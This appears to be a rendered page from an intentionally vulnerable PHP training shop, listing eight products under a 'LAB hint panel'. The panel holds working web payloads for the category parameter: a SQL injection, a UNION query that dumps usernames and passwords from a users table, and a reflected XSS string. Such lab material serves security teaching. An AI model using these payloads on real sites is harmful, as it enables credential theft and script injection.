SQL: SELECT id, name, category, price, stock FROM products ORDER BY id
DRIVER: PDO sqlite3 / PHP 8.5.11
SQL: SELECT DISTINCT category FROM products ORDER BY category
DRIVER: PDO sqlite3 / PHP 8.5.11
Products - OWASP Shop Lab (PHP)
OWASP Shop Lab (PHP) mode: vuln switch login
Training target. This page is intentionally vulnerable. Keep this deployment private - see README.

LAB hint panel - products

  • A03-03 SQL injection in cat
    ?cat=Books' OR 1=1 --
  • A03-04 UNION injection
    ?cat=x' UNION SELECT id,username,password,role,email FROM users --
  • A03-15 Reflected XSS in cat
    ?cat=<img src=x onerror=alert(1)>
  • A02-10 Debug SQL echo
    ?debug=1

Products

or type a category directly: products.php?cat=Audio

Filter:

IDNameCategoryPriceStock
1 Mechanical Keyboard Accessories 89.90 30
2 Wireless Mouse Accessories 39.50 120
3 27" 4K Monitor Displays 329.00 14
4 USB-C Dock Accessories 119.00 45
5 Noise Cancelling Headset Audio 199.00 22
6 Desk Lamp Home 45.00 60
7 Laptop Stand Home 32.00 75
8 Webcam 1080p Displays 59.00 33
LAB